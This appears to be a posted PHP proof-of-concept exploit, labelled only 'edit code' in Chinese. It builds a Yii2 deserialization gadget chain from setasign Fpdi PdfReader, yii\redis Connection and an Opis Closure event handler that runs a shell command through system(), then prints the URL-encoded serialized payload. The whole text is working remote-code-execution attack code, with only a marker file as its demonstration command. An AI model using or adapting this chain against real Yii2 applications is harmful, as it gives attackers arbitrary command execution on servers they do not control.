编辑代码

<?php
namespace yii\base {
  class Component {
    private $_events = array();
    private $_behaviors = 1;
    public function __construct() {
      include("./vendor/opis/closure/autoload.php");
      $func = function() {
        $cmd = 'touch /tmp/hacker';
        system($cmd);
      }
      ;
      $raw = \Opis\Closure\serialize($func);
      $data=\Opis\Closure\unserialize($raw);
      $this->_events = ["afterOpen" => [[
       $data,
       "huahua"
       ]]];
    }
  }
}
namespace yii\redis {
  use yii\base\Component;
  class Connection extends Component {
    public $redisCommands = [];
    public $hostname = '';
    public $port;
    public $password;
    public $username;
    public $connectionTimeout;
    public $dataTimeout;
    public $database;
    public $unixSocket;
    private $_socket;
    public function __construct() {
      $this->redisCommands = array('CLEAN UP');
      $this->_socket = false;
      $this->hostname = '127.0.0.1';
      $this->port = 8001;
      //能够连通的任意本地服务的端⼝
      $this->unixSocket = false;
      $this->connectionTimeout = 5;
      parent::__construct();
    }
  }
}
namespace setasign\Fpdi\PdfReader {
  use yii\redis\Connection;
  class PdfReader {
    protected $parser;
    public function __construct() {
      $this->parser = new Connection;
    }
  }
  include("./vendor/opis/closure/autoload.php");
  echo urlencode(\Opis\Closure\serialize(new PdfReader));
}
?>